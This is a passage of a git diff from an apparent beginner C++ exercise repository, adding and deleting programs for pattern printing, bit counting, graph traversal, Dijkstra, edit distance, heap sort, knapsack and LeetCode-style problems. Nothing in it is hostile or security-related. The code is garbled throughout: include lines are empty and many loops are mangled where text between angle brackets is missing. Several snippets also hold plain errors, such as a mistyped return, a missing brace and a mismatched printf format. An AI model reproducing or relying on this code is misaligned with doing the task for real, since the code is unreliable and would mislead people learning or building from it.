- count++; - } - return count; -} -} // namespace count_bits_flip -} // namespace bit_manipulation - -/** - * @brief Self-test implementations - * @returns void - */ -static void test() { - // A = 10, B = 20 return 4 - assert(bit_manipulation::count_bits_flip::countBitsFlip(10, 20) == 4); - // A = 20, B = 25 return 3 - assert(bit_manipulation::count_bits_flip::countBitsFlip(20, 25) == 3); - // A = 7, B = 10 return 3 - assert(bit_manipulation::count_bits_flip::countBitsFlip(7, 10) == 3); - // A = 17, B = 25 return 1 - assert(bit_manipulation::count_bits_flip::countBitsFlip(17, 25) == 1); - // A = 11, B = 8 return 2 - assert(bit_manipulation::count_bits_flip::countBitsFlip(11, 8) == 2); - // A = 21, B = 22 return 2 - assert(bit_manipulation::count_bits_flip::countBitsFlip(21, 22) == 2); - // A = 7, B = 786 return 5 - assert(bit_manipulation::count_bits_flip::countBitsFlip(7, 786) == 5); - std::cout << "All test cases successfully passed!" << std::endl; -} -/** - * @brief Main function - * @returns 0 on exit - */ -int main() { - test(); // run self-test implementations - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C++/count_setbits.cpp b/Add Code Here/C++/count_setbits.cpp deleted file mode 100644 index 3edf3fd7ddd..00000000000 --- a/Add Code Here/C++/count_setbits.cpp +++ /dev/null @@ -1,9 +0,0 @@ -#include -using namespace std; - -int main() { - int x; - cin>>x; - cout<<"number of set bits are : "<<__builtin_popcount(x); - return 0; -} diff --git a/Add Code Here/C++/cousinsBinaryTree.cpp b/Add Code Here/C++/cousinsBinaryTree.cpp deleted file mode 100644 index 37ddb18562e..00000000000 --- a/Add Code Here/C++/cousinsBinaryTree.cpp +++ /dev/null @@ -1,80 +0,0 @@ -/** - * Definition for a binary tree node. - * struct TreeNode { - * int val; - * TreeNode *left; - * TreeNode *right; - * TreeNode() : val(0), left(nullptr), right(nullptr) {} - * TreeNode(int x) : val(x), left(nullptr), right(nullptr) {} - * TreeNode(int x, TreeNode *left, TreeNode *right) : val(x), left(left), right(right) {} - * }; - */ -class myPair{ - public: - int value=-1; - int height=-1; -}; -class Solution { -public: - TreeNode*lca(TreeNode*root,int a,int b){ - if(root==NULL){ - return NULL; - } - if(root->val==a || root->val==b){ - return root; - } - TreeNode*leftans= lca(root->left,a,b); - TreeNode*rightans = lca(root->right,a,b); - if(leftans!=NULL && rightans!=NULL){ - return root; - } - if(leftans!=NULL){ - return leftans; - } - return rightans; - } - myPair findLevel(TreeNode*root,int x,int y){ - myPair p; - if(root==NULL){ - p.height=-1; - return p; - } - if((root->val==x) || (root->val==y)){ - p.value = root->val; - p.height = 0; - return p; - } - myPair l = findLevel(root->left,x,y); - myPair r = findLevel(root->right,x,y); - if(l.height!=-1 ||r.height!=-1){ - p.height = max(l.height,r.height)+1; - } - if(l.value!=-1){ - p.value = l.value; - } - if(r.value!=-1){ - p.value = r.value; - } - return p; - } - bool isCousins(TreeNode* root, int x, int y) { - TreeNode*found = lca(root,x,y); - //need to find the level of the both values from the node next to root node - TreeNode*leftNode=NULL; - TreeNode*rightNode=NULL; - if(found!=NULL && found->left!=NULL && found->right!=NULL){ - leftNode=found->left; - rightNode=found->right; - } - myPair leftLevel = findLevel(leftNode,x,y); - myPair rightLevel = findLevel(rightNode,x,y); - int leftValue = leftLevel.value; - int rightValue = rightLevel.value; - if((rightValue==x && leftValue==y) || (rightValue==y && leftValue==x)){ - if(leftLevel.height==rightLevel.height && leftLevel.height!=0 && rightLevel.height!=0 && leftLevel.height!=-1 && rightLevel.height!=-1){ - return true; - } - } - return false; - } -}; diff --git a/Add Code Here/C++/couunt function in circular linked list.txt b/Add Code Here/C++/couunt function in circular linked list.txt deleted file mode 100644 index 90e80aec2ae..00000000000 --- a/Add Code Here/C++/couunt function in circular linked list.txt +++ /dev/null @@ -1,12 +0,0 @@ -Write a count function in Circular Linkedlist - -int count(Node* p) -int count=0; -do{ - -count++; -p=p->next; -}while(p!=head); - -reutrn count; -} \ No newline at end of file diff --git a/Add Code Here/C++/cplusplus-pattern-printing-questions--main/10th pattern from a to z striver sde sheet.cpp b/Add Code Here/C++/cplusplus-pattern-printing-questions--main/10th pattern from a to z striver sde sheet.cpp deleted file mode 100644 index 64f6c6371e3..00000000000 --- a/Add Code Here/C++/cplusplus-pattern-printing-questions--main/10th pattern from a to z striver sde sheet.cpp +++ /dev/null @@ -1,33 +0,0 @@ - //10th pattern from a to z striver sde sheet -//upward pyramid -#include -using namespace std; - -int main() { - const int n = 5; - for(int i = 1;i<=n ;i++) - {//we need some if else in this case - for(int j =1;j=1 ;i--) - {//we need some if else in this case - for(int j =1;j<=i;j++) - { - - cout<<"*"; - } - //endl for new line after each row completes printing star - cout< -using namespace std; - -int main() { - const int n = 5; - - - for(int i = 1;i<=n ;i++) - {//we need some if else in this case - for(int j =1;j<=i;j++) - { if((i+j)%2==0) - cout<<" 1"; - else - cout<<" 0"; - - } - //endl for new line after each row completes printing star - cout< -using namespace std; - -int main() { - const int n = 5; - int count = 1 ; - - for(int i = 1;i<=n ;i++) - {//we need some if else in this case - for(int j =1;j<=i;j++) - { - cout< -using namespace std; - -int main() { - const int n = 5; - char ch = 'A'; - - for(int i = 1;i<=n ;i++) - {//we need some if else in this case - for(int j =1;j<=i;j++) - { - cout< -using namespace std; - -int main() { - const int n = 5; - char ch = 'A'; - - for(int i = n;i>=1 ;i--) - {//we need some if else in this case - for(int j =1;j<=i;j++) - { - cout< -using namespace std; - -int main() { - const int n = 5; - char ch = 'A'; - - for(int i = 1;i<=n;i++) - {//we need some if else in this case - for(int j =1;j<=i;j++) - { - cout< -using namespace std; - -int main() { - const int n = 5; - int count = 1 ; - - for(int i = 1;i<=n ;i++) - {//we need some if else in this case - for(int j =1;j<=n;j++) - { - if(i==1||i==n||j==1||j==n) - cout<<"*"; - else - cout<<" "; - } - //endl for new line after each row completes printing star - cout< -using namespace std; - -int main() { - const int n = 5; - // your code goes here - //use two for loops outside one will iterate for each row and inside for loop will iterate foe each column - for(int i = 1;i<=n ;i++) - { - for(int j =1;j<=i ;j++) - { - cout< -using namespace std; - -int main() { - const int n = 5; - // your code goes here - //use two for loops outside one will iterate for each row and inside for loop will iterate foe each column - for(int i = 1;i<=n ;i++) - { - for(int j =1;j<=i ;j++) - { - cout<<"*"<<" "; - } - //endl for new line after each row completes printing star - cout< -using namespace std; - -int main() { - const int n = 5; - // your code goes here - //use two for loops outside one will iterate for each row and inside for loop will iterate foe each column - for(int i = 1;i<=n ;i++) - { - for(int j =1;j<=i ;j++) - { - cout< -using namespace std; - -int main() { - const int n = 5; - // your code goes here - //use two for loops outside one will iterate for each row and inside for loop will iterate foe each column - for(int i = 0;i -using namespace std; - -int main() { - const int n = 5; - // your code goes here - //use two for loops outside one will iterate for each row and inside for loop will iterate foe each column - for(int i = 0;i -using namespace std; - -int main() { - const int n = 5; - int m = 5 ; - // your code goes here - //use two for loops outside one will iterate for each row and inside for loop will iterate foe each column - for(int i = 1;i<=n ;i++) - { - for(int j = 1;j<=m ;j++) - { - cout< -using namespace std; - -int main() { - const int n = 5; - int m = 5 ; - // your code goes here - //use two for loops outside one will iterate for each row and inside for loop will iterate foe each column - for(int i = 1;i<=n ;i++) - { - for(int j = 1;j<=m ;j++) - { - cout<<"*"<<" "; - } - //endl for new line after each row completes printing star - //since we have to run loop 1 time less for every new row - m--; - cout< -using namespace std; - -int main() { - const int n = 5; - // your code goes here - //use two for loops outside one will iterate for each row and inside for loop will iterate foe each column - for(int i = 1;i<=n ;i++) - {//we need some if else in this case - for(int j =1;j<=2*n-1 ;j++) - { - if(j>=n-(i-1)&&j<=n+(i-1)) - { - cout<<"*"; - } - else - cout<<" "; - - } - //endl for new line after each row completes printing star - cout< -using namespace std; - -int main() { - const int n = 5; - // your code goes here - //use two for loops outside one will iterate for each row and inside for loop will iterate foe each column - for(int i = n;i>=1 ;i--) - {//we need some if else in this case - for(int j =1;j<=2*n-1 ;j++) - { - if(j>=n-(i-1)&&j<=n+(i-1)) - { - cout<<"*"; - } - else - cout<<" "; - - } - //endl for new line after each row completes printing star - cout< -using namespace std; - -int main() { - const int n = 5; - for(int i = 1;i<=n ;i++) - {//we need some if else in this case - for(int j =1;j<=2*n-1 ;j++) - { - if(j>=n-(i-1)&&j<=n+(i-1)) - { - cout<<"*"; - } - else - cout<<" "; - - } - //endl for new line after each row completes printing star - cout<=1 ;i--) - {//we need some if else in this case - for(int j =1;j<=2*n-1 ;j++) - { - if(j>=n-(i-1)&&j<=n+(i-1)) - { - cout<<"*"; - } - else - cout<<" "; - - } - //endl for new line after each row completes printing star - cout< - -using namespace std; - -int main(void) -{ - int DD = 32, MM = 13, YYYY = -1, NYYYY, NMM, IDAY, day, flag = 0; - - string month[] = {"January","February","March","April","May","June","July", - "August","September","October","November","December"}; - - cin >> DD; - cin >> MM; - cin >> YYYY; - - //Error Message: User has given no input - if(DD == 32 && MM == 13 && YYYY == -1) - { - cout << " Please enter your birthday in this " << endl; - cout << " format(including spaces): " << endl; - cout << " DD MM YYYY " << endl; - cout << " 22 01 1997 " << endl; - return -1; - } - - if(DD <= 0) - { - //Error Message: User has given invalid input for "Days" & "Months" fields - if(MM <= 0) - { - cout << " We don't have negative or null days and months. " << endl; - cout << " Try again! " << endl; - return -1; - } - - //Error Message: User has given invalid input for "Days" field - cout << " We don't have negative or null days. " << endl; - cout << " Try again! " << endl; - return -1; - } - - if(MM <= 0) - { - //Error Message: User has given invalid input for "Months" field - cout << " We don't have negative or null months. " << endl; - cout << " Try again! " << endl; - return -1; - } - - if(DD > 31 || MM > 12 || YYYY <= 0) - { - if(DD > 31 && MM > 12) - { - //Error Message: User has given invalid input for "Days", "Months" & "Years" fields - if(YYYY <= 0) - { - cout << " We have 12 months, the days of a month are up to 31 " << endl; - cout << " and a year should be a positive number. " << endl; - cout << " Try again! " << endl; - } - //Error Message: User has given invalid input for "Days" & "Months" fields - else - { - cout << " We have 12 months and " << endl; - cout << " the days of a month are up to 31. " << endl; - cout << " Try again! " << endl; - } - - } - else if(DD > 31 && MM <= 12) - { - //Error Message: User has given invalid input for "Days" & "Years" fields - if(YYYY <= 0) - { - cout << " The days of a month are up to 31 and " << endl; - cout << " a year should be a positive number. " << endl; - cout << " Try again! " << endl; - } - //Error Message: User has given invalid input for "Days" field - else - { - cout << " The days of a month are up to 31. " << endl; - cout << " Try again! " << endl; - } - - } - else if(DD <= 31 && MM > 12) - { - //Error Message: User has given invalid input for "Months" & "Years" fields - if(YYYY <= 0) - { - cout << " We have 12 months and " << endl; - cout << " a year should be a positive number. " << endl; - cout << " Try again! " << endl; - } - //Error Message: User has given invalid input for "Months" field - else - { - cout << " We have 12 months. " << endl; - cout << " Try again! " << endl; - } - - } - //Error Message: User has given invalid input for "Years" field - else if(DD <= 31 && MM <= 12 && YYYY <= 0) - { - cout << " A year should be a positive number. " << endl; - cout << " Try again! " << endl; - } - return -1; - } - - switch(MM) - { - case 2: - - if((YYYY % 400) == 0 || ((YYYY % 4) == 0 && (YYYY % 100) != 0)) - { - //Error Message: User has requested an invalid day for the month "February" - // and the requested "Year" is a leap year. - if(DD > 29) - { - cout << " The year " << YYYY << " is a leap year. " << endl; - cout << " So, February has up to 29 days. " << endl; - cout << " Try again! " << endl; - return -1; - } - } - else - { - //Error Message: User has requested an invalid day for the month "February" - // and the requested "Year" is not a leap year. - if(DD > 28) - { - cout << " The year " << YYYY << " isn't a leap year. " << endl; - cout << " So, February has up to 28 days. " << endl; - cout << " Try again! " << endl; - return -1; - } - } - break; - - case 4: - //Error Message: User has requested an invalid day for the month "April" - if(DD > 30) - { - cout << " April has up to 30 days. " << endl; - cout << " Try again! " << endl; - return -1; - } - break; - - case 6: - //Error Message: User has requested an invalid day for the month "June" - if(DD > 30) - { - cout << " June has up to 30 days. " << endl; - cout << " Try again! " << endl; - return -1; - } - break; - - case 9: - //Error Message: User has requested an invalid day for the month "September" - if(DD > 30) - { - cout << " September has up to 30 days. " << endl; - cout << " Try again! " << endl; - return -1; - } - break; - - case 11: - //Error Message: User has requested an invalid day for the month "November" - if(DD > 30) - { - cout << " November has up to 30 days. " << endl; - cout << " Try again! " << endl; - return -1; - } - break; - } - - if(MM <= 2) - { - NYYYY = YYYY - 1; - NMM = 0; - } - else - { - NYYYY = YYYY; - NMM = (4 * MM + 23) / 10; - } - - //Calculating the day - IDAY = 365 * YYYY + DD + 31 * (MM - 1) - NMM + (NYYYY / 4) - ((3 * ((NYYYY / 100) + 1) / 4)); - - day = IDAY % 7; - - //This 'flag' is used for displaying the right ending after the numbers - if(DD != 11 && DD != 12 && DD != 13) - flag = DD % 10; - - switch(day) - { - case 0: - cout << " You were born on Saturday, "; - break; - - case 1: - cout << " You were born on Sunday, "; - break; - - case 2: - cout << " You were born on Monday, "; - break; - - case 3: - cout << " You were born on Tuesday, "; - break; - - case 4: - cout << " You were born on Wednesday, "; - break; - - case 5: - cout << " You were born on Thursday, "; - break; - - case 6: - cout << " You were born on Friday, "; - break; - } - - if(flag == 1){ - cout << DD << "st of "; - } - else if(flag == 2){ - cout << DD << "nd of "; - } - else if(flag == 3){ - cout << DD << "rd of "; - } - else{ - cout << DD << "th of "; - } - - cout << month[MM-1] << " of " << YYYY << "!" << endl; - - cout << "\n And if you liked it, " << endl; - cout << " don't forget to give a (+1) like! " << endl; - cout << " Thank you! " << endl; - - return 0; -} diff --git a/Add Code Here/C++/defaultargument.cpp b/Add Code Here/C++/defaultargument.cpp new file mode 100644 index 00000000000..73eec7ede72 --- /dev/null +++ b/Add Code Here/C++/defaultargument.cpp @@ -0,0 +1,16 @@ +#include +using namespace std; +int money(int a, float b=1.79) +{ + return a*b; +} +int main(int argc, char const *argv[]) +{ + int n,m; + cout<<"Enter your Total Policy amount\n"; + cin>>n; + cout<<"enter multiplier of the money \n"; + cin>>m; + cout<<"Your total Money is: "< -using namespace std; -// C++ code to implement DFS - -class Graph{ - - int v; - vector> adj; - vector visited; -public: - Graph(int n){ - this->v = n; - adj.resize(v); - visited.resize(v); - } - - void AddEdge(int a, int b, bool undir){ - adj[a].push_back(b); - if (undir) - { - adj[b].push_back(a); - } - } - - void PrintGraph(){ - for (int i = 0; i < adj.size(); i++) - { - cout<"; - for(auto j: adj[i]){ - cout< a){ - int sz = a.size(); - - for(auto i: a){ - if (i == false) - { - return false; - } - - } - - return true; - } - - void dfs(int source){ // recursive traversal - - if (allVisited(visited) == true) - { - return; - } - - cout< - -using namespace std; - -const int N = 1e3; -const int INF = 1e9; -vector vis(N); -vector> g[N]; // weithed graph, pair -> - -// dijstra algorithm funciton -void dijkstra(int src, int nodes){ - vector dist(N, INF); - - set> set; // pair -> - set.insert({0, src}); // assign wt 0 to source vertex - dist[src] = 0; - - // first insert pair to set - // Two main functions are : - // 1. update the wt of childs if possible - // 2. then select the new node based on min wt. ( thus used set data structure ) - - while(set.size() > 0){ - auto node = *set.begin(); // gives the min weight node pair - int vertex = node.second; - int distance = node.first; - set.erase(set.begin()); - if(vis[vertex]) continue; - vis[vertex] = 1; - - for(auto child: g[vertex]){ - int child_v = child.first; - int wt = child.second; - if(dist[vertex] + wt < dist[child_v]){ - dist[child_v] = dist[vertex] + wt; - set.insert({dist[child_v], child_v}); - } - } - } - - cout << "vertex distance " << endl; - for(int i=0; i> nodes >> edges; - cout << "Enter "<< edges << " pairs of src, dest, wt vertices of a edge : "; - - for(int i=0; i< edges; i++){ - - int x,y,wt; // wt is the weight of the edge connecting x, y - cin >> x >> y >> wt; - g[x].push_back({y,wt}); - } - - dijkstra(0, nodes); // assuming 0 as single source here - - return 0; -} diff --git a/Add Code Here/C++/doubly linked list reversing recursive way.txt b/Add Code Here/C++/doubly linked list reversing recursive way.txt deleted file mode 100644 index 017f3b28dc2..00000000000 --- a/Add Code Here/C++/doubly linked list reversing recursive way.txt +++ /dev/null @@ -1,16 +0,0 @@ -Singly Linked list Reversing Recursive Approach - -Node* Reverse(Node* head){ - -if(head==null || head->next ==null){ -return head; - -} - -Node* newhead= reverse(head->next); -Node current= head->next; -current->next = head; -head->next = null; - -return newhead; -} \ No newline at end of file diff --git a/Add Code Here/C++/eidtdistance.cpp b/Add Code Here/C++/eidtdistance.cpp deleted file mode 100644 index dae3ff6dbcb..00000000000 --- a/Add Code Here/C++/eidtdistance.cpp +++ /dev/null @@ -1,36 +0,0 @@ -#include -#include -using namespace std; //minimum operations to convert s1 to s2 -int distance(string s1,string s2,int m, int n) -{ - int dp[m+1][n+1]; - for(int i=0;i<=m;i++) - { - dp[i][0]=i; - } - for(int j=0;j<=n;j++) - { - dp[0][j]=j; - } - for(int i=1;i<=m;i++) - { - for(int j=1;j<=n;j++) - { - if(s1[i-1]==s2[j-1]) - dp[i][j]=dp[i-1][j-1]; - else - dp[i][j]=1+min({dp[i-1][j-1],dp[i-1][j],dp[i][j-1]}); - - } - } - return dp[m][n]; -} -int main() -{ -string s1,s2; -s1="/0"; -cin>>s2; -int len1=s1.length(); -int len2=s2.length(); -cout< -#include -#include -#include -using namespace std; -int vowelChk(char); -int main(){ - char s[50], t[50]; - int c, d = 0; - cout<<"Enter a string to delete vowels\n"; - cin>>s; - for(c = 0; s[c] != '\0'; c++) { - // check for If not a vowel - if(vowelChk(s[c]) == 0){ - t[d] = s[c]; - d++; - } - } - t[d] = '\0'; - strcpy(s, t); - cout<<"String after delete vowels:"< -using namespace std; -const string INFO = "Este programa imprime la sucesion de fibonacci desde \ -1 hasta N, \nsiendo este ultimo un numero ingresado por el usuario\n"; -int main() { - unsigned long long aux = 1, fib = 0, lim, init; - cout << INFO << endl; - cout << "Ingrese un numero para la sucesion de fibonacci: "; - cin >> lim; - if(lim > 0) { - for(init = 1; init <= lim; init++) { - cout << "[" << fib << "] "; - aux += fib; /* lo mismo que aux = aux + fib; */ - fib = aux - fib; - } - } else { - cout << "El numero debe ser mayor a cero!!" << endl; - } - cout << "\n"; - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C++/fibonacciseries.cpp b/Add Code Here/C++/fibonacciseries.cpp deleted file mode 100644 index 78919b60c13..00000000000 --- a/Add Code Here/C++/fibonacciseries.cpp +++ /dev/null @@ -1,17 +0,0 @@ -#include -using namespace std; - -int fibonacci(int n) -{ - if(n==0 || n==1) - return n; - else - return (fibonacci(n-1)+fibonacci(n-2)); -} - -int main() { - int n; - cin>>n; - - cout< +using namespace std; +int minn(int a[], int h) +{ + int l = 0; + + int m = l + (h - l) / 2; + + while (l < h) + { + + if (a[m] > a[m + 1]) + { + + l = m + 1; + } + else + { + h = m; + } + m = l + (h - l) / 2; + } + return l; +} +int main() +{ + int a[] = {9, 8, 7, 6, 5, 4, 3, 0, 2, 3, 5}; + int n = sizeof(a) / sizeof(a[0]); + + cout << a[minn(a, n - 1)] << endl; +} \ No newline at end of file diff --git a/Add Code Here/C++/finding_pivot_element_in_array.cpp b/Add Code Here/C++/finding_pivot_element_in_array.cpp new file mode 100644 index 00000000000..a2340cfad49 --- /dev/null +++ b/Add Code Here/C++/finding_pivot_element_in_array.cpp @@ -0,0 +1,31 @@ +#include +using namespace std; +int minn(int a[], int h) +{ + int l = 0; + + int m = l + (h - l) / 2; + + while (l < h) + { + + if (a[m] >= a[0]) + { + + l = m + 1; + } + else + { + h = m; + } + m = l + (h - l) / 2; + } + return h; +} +int main() +{ + int a[] = {4, 5, 1, 2, 3}; + int n = sizeof(a) / sizeof(a[0]); + + cout << a[minn(a, n - 1)] << endl; +} \ No newline at end of file diff --git a/Add Code Here/C++/friend_access_data_member.cpp b/Add Code Here/C++/friend_access_data_member.cpp deleted file mode 100644 index c38b3a450f8..00000000000 --- a/Add Code Here/C++/friend_access_data_member.cpp +++ /dev/null @@ -1,31 +0,0 @@ -#include -using namespace std; -class ac -{ - char name[15]; - int acc_no; - float bal; - -public: - void read() - { - cout << "\nenter the account name: "; - cin >> name; - cout << "\nenter the account number: "; - cin >> acc_no; - cout << "\nenter the balance: "; - cin >> bal; - } - friend void show(ac); -}; -void show(ac c) -{ - cout << "\nAccount name: " << c.name << "\nAccount number= " << c.acc_no << "\nBalance= " << c.bal; -} -int main() -{ - ac k; - k.read(); - show(k); - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C++/functionoverloading.cpp b/Add Code Here/C++/functionoverloading.cpp new file mode 100644 index 00000000000..ba1e1bf79d3 --- /dev/null +++ b/Add Code Here/C++/functionoverloading.cpp @@ -0,0 +1,27 @@ +// This is overloading function where compiler automatically catch your input and give result +#include +#include +using namespace std; +//Volume of cylinder +int vol(double r , int h) +{ + return 3.14*r*r*h; +} +//Volume of cube +int vol(int a) +{ + return a*a*a; +} +// Volume of cuboid +int vol(int l,int b,int h) +{ + return l*b*h; +} + +int main(int argc, char const *argv[]) +{ + cout<<"The volume of Cuboid is: "< +using namespace std; +void g(); +int sum(int,int); +int main(int argc, char const *argv[]) +{ + int m,n; + cout<<"Enter 1st no.\n"; + cin>>m; + cout<<"Enter 2nd no.\n"; + cin>>n; + cout<<"The sum is: "< -#include -#include -using namespace std; - - -class graph{ - public: - unordered_map> adj; - - void addEdge(int u, int v, bool direction){ - //direction = 0->direction - //direction = 1->direction graph - - //create an edge from u to v - adj[u].push_back(v); - if(direction == 0){ - adj[v].push_back(u); - } - } - - void printAdjList(){ - for(auto i:adj){ - cout << i.first << "->"; - for(auto j: i.second){ - cout << j << ", "; - } - cout<> n; - - int m; - cout << "Enter the number of edges" << endl; - cin >> m; - - graph g; - - for (int i = 0; i < m; i++) - { - int u, v; - cin >> u >> v; - //create a undirected graph - g.addEdge(u, v, 0); - } - - //printing graph - g.printAdjList(); - - return 0; -} diff --git a/Add Code Here/C++/heapSort.cpp b/Add Code Here/C++/heapSort.cpp deleted file mode 100644 index 446e6989f99..00000000000 --- a/Add Code Here/C++/heapSort.cpp +++ /dev/null @@ -1,78 +0,0 @@ -#include -using namespace std; - -void percolate_down(int numbers[], int i, int n) -{ - int smallest = i; - int left = 2*i+1; - int right = 2*i+2; - if(left=0) - { - percolate_down(numbers, last_parent, n); - last_parent--; - } -} - -int extractMin(int A[], int n) -{ - int ans = A[0]; - swap(A[n-1], A[0]); - n = n-1; - percolate_down(A, 0, n); - return ans; - -} - -void heapSort(int numbers[], int len) -{ - //build a heap from the given array - int T[len]; - buildHeap(numbers, len); - int n=len; - for(int i=0; i "; - for(int i=0; i +using namespace std; + +int main() { + int rating = 4; + + if(rating == 5){ + puts("5 star rated"); + + }else { + puts("NOT 4 or 5 star rated"); + + } + if(1){ + puts("Go for it"); + + } + printf("your rating fedback is %d\n", rating > 4 ? "true block" : "false block"); + + return 0; +} diff --git a/Add Code Here/C++/insert node at end in a doubly linked list b/Add Code Here/C++/insert node at end in a doubly linked list deleted file mode 100644 index 632e27d41b3..00000000000 --- a/Add Code Here/C++/insert node at end in a doubly linked list +++ /dev/null @@ -1,59 +0,0 @@ -#include -#include -struct node -{ - int data; - struct node *prev; - struct node *next; - -}; -int main() -{ - struct node *head,*temp,*newnode,*tail; - int choice; - head=0; - while(choice) - { - newnode=(struct node *)malloc(sizeof(struct node)); - printf("Enter the data: "); - scanf("%d",&newnode->data); - newnode->prev=0; - newnode->next=0; - if(head==0) - { - temp=head=tail=newnode; - } - else - { - temp->next=newnode; - newnode->prev=temp; - temp=newnode; - tail=newnode; - } - printf("Do you want to continue(0,1): "); - scanf("%d",&choice); - } - - newnode=(struct node *)malloc(sizeof(struct node)); - printf("Enter the data: "); - scanf("%d",&newnode->data); - newnode->next=0; - newnode->prev=0; - newnode->prev=tail; - tail->next=newnode; - tail=newnode; - - temp=head; - while(temp!=0) - { - printf("%d ",temp->data); - temp=temp->next; - } - - - - - - - -} diff --git a/Add Code Here/C++/invert_color.cpp b/Add Code Here/C++/invert_color.cpp deleted file mode 100644 index 105ad3b0252..00000000000 --- a/Add Code Here/C++/invert_color.cpp +++ /dev/null @@ -1,25 +0,0 @@ -#include -#include - -std::vector invert_color(std::vector rgb) { - std::vector inverted_rgb; - for (int i = 0; i < rgb.size(); i++) { - inverted_rgb.push_back(255 - rgb[i]); - } - return inverted_rgb; -} - - - -int main(int argc, char const *argv[]) -{ - // R G B - std::vector color = {17, 121, 130}; - std::cout << "Original color: " << color[0] << ", " << color[1] << ", " << color[2] << std::endl; - - // Invert colors - std::vector inverted_color = invert_color(color); - std::cout << "Inverted color: " << inverted_color[0] << ", " << inverted_color[1] << ", " << inverted_color[2] << std::endl; - - return 0; -} diff --git a/Add Code Here/C++/jellyfish_and_eva.cpp b/Add Code Here/C++/jellyfish_and_eva.cpp new file mode 100644 index 00000000000..dee9616f966 --- /dev/null +++ b/Add Code Here/C++/jellyfish_and_eva.cpp @@ -0,0 +1,68 @@ +#include + +#define int long long + +using namespace std; + +constexpr int N = 5010; + +vector adj[N]; + +void sol() { + int n,m;cin >> n >> m; + for(int i = 1;i <= n;i ++ ) + adj[i].clear(); + vector din(n + 1),dout(n + 1); + while(m -- ) { + int a,b;cin >> a >> b; + adj[b].push_back(a); + din[b] ++,dout[a] ++; + } + + vector dp(n + 1); + vector > w(n + 1); + + vector > p(n + 1,vector(n + 1)); + p[1][1] = 1,p[2][1] = 0.5; + for(int i = 3;i <= n;i ++ ) { + p[i][1] = 1.0 / i; + for(int j = 2;j <= n;j ++ ) { + double p1 = 1.0 * (j - 2) / i; + double p2 = 1.0 * (i - j) / i; + p[i][j] = p1 * p[i - 2][j - 2] + p2 * p[i - 2][j - 1]; + } + } + + + auto topsort = [&]() { + dp[n] = 1; + vector deg = dout; + queue q; + for(int i = 1;i <= n;i ++ ) + if(!dout[i]) q.push(i); + while(q.size()) { + int u = q.front(); + q.pop(); + sort(w[u].rbegin(),w[u].rend()); + int sz = w[u].size(); + for(int i = 0;i < sz;i ++ ) + dp[u] += p[sz][i + 1] * w[u][i]; + + for(auto x : adj[u]) { + w[x].push_back(dp[u]); + if(-- deg[x] == 0) + q.push(x); + } + } + }; + + topsort(); + + cout << fixed << setprecision(15) << dp[1] << '\n'; +} + +signed main() { + cin.tie(0) -> sync_with_stdio(0); + int T;cin >> T; + while(T -- ) sol(); +} diff --git a/Add Code Here/C++/josephusProblem.cpp b/Add Code Here/C++/josephusProblem.cpp deleted file mode 100644 index 6e966e4607e..00000000000 --- a/Add Code Here/C++/josephusProblem.cpp +++ /dev/null @@ -1,41 +0,0 @@ -#include -#include -#include -using namespace std; - -void Josh(vector person, int k, int index) -{ - // Base case , when only one person is left - if (person.size() == 1) - { - cout << person[0] << endl; - return; - } - - // find the index of first person which will die - index = ((index + k) % person.size()); - - // remove the first person which is going to be killed - person.erase(person.begin() + index); - - // recursive call for n-1 persons - Josh(person, k, index); -} - -int main() -{ - int n = 14; // specific n and k values for original - // josephus problem - int k = 2; - k--; // (k-1)th person will be killed - int index = 0; // The index where the person which will die - - vector person; - // fill the person vector - for (int i = 1; i <= n; i++) - { - person.push_back(i); - } - - Josh(person, k, index); -} diff --git a/Add Code Here/C++/kadane.cpp b/Add Code Here/C++/kadane.cpp deleted file mode 100644 index 1da78fde8a7..00000000000 --- a/Add Code Here/C++/kadane.cpp +++ /dev/null @@ -1,30 +0,0 @@ -// C++ program to print largest contiguous array sum -#include -using namespace std; - -int maxSubArraySum(int a[], int size) -{ - int max_so_far = INT_MIN, max_ending_here = 0; - - for (int i = 0; i < size; i++) { - max_ending_here = max_ending_here + a[i]; - if (max_so_far < max_ending_here) - max_so_far = max_ending_here; - - if (max_ending_here < 0) - max_ending_here = 0; - } - return max_so_far; -} - -// Driver Code -int main() -{ - int a[] = { -2, -3, 4, -1, -2, 1, 5, -3 }; - int n = sizeof(a) / sizeof(a[0]); - - // Function Call - int max_sum = maxSubArraySum(a, n); - cout << "Maximum contiguous sum is " << max_sum; - return 0; -} diff --git a/Add Code Here/C++/knapsack.cpp b/Add Code Here/C++/knapsack.cpp deleted file mode 100644 index 000b422af19..00000000000 --- a/Add Code Here/C++/knapsack.cpp +++ /dev/null @@ -1,76 +0,0 @@ -#include -using namespace std; - -float knapsack(float p[], float w[], int W, int size); -void bubbleSort(float p[], float w[], int n); - - -int main() -{ - int n, W; - cout<<"Enter the number of products:\n"; - cin>>n; - float p[n], w[n]; - cout<<"Enter the total capacity of the knapsack:\n"; - cin>>W; - cout<<"Enter the profits and weights of the products:\n"; - for(int i=0;i>p[i]>>w[i]; - } - bubbleSort(p, w, n); - cout<<"The total profit is "< +using namespace std; + +void moveZeroes(vector& nums) { + for (int lastNonZeroFoundAt = 0, cur = 0; cur < nums.size(); cur++) { + if (nums[cur] != 0) { + swap(nums[lastNonZeroFoundAt++], nums[cur]); + } + } +} + +int main(){ + vector v = {1,0}; + moveZeroes(v); + for(int i:v) cout< +using namespace std; +vector countGreater(vector&arr, vector&query) { + + + + vector ans; + + + // cout< arr={5,2,10,4}; + vector q={0,1}; + vector ans=countGreater(arr,q); + for(auto x:ans){ + cout< +using namespace std; + + +int trap(vector < int > & arr) { + + + int n=arr.size(); + int prefix[n],suffix[n]; + + prefix[0]=arr[0]; + for (int i = 1; i < n; i++) + { + prefix[i]=max(prefix[i-1],arr[i]); + } + + suffix[n-1]=arr[n-1]; + for (int i = n-2; i >=0 ; i--) + { + suffix[i]=max(suffix[i+1],arr[i]); + } + + int watertrapeed=0; + for (int i = 0; i < n; i++) + { + watertrapeed+=min(prefix[i],suffix[i])-arr[i]; + } + return watertrapeed; + +} + + + +int main(){ + + vector < int > arr; + arr = {0,1,0,2,1,0,1,3,2,1,2,1}; + cout << "The water that can be trapped is " << trap(arr) << endl; + + + +} \ No newline at end of file diff --git a/Add Code Here/C++/leetcode/TwoSum.cpp b/Add Code Here/C++/leetcode/TwoSum.cpp new file mode 100644 index 00000000000..d8de7925b37 --- /dev/null +++ b/Add Code Here/C++/leetcode/TwoSum.cpp @@ -0,0 +1,20 @@ +class Solution { +public: + vector twoSum(vector& nums, int 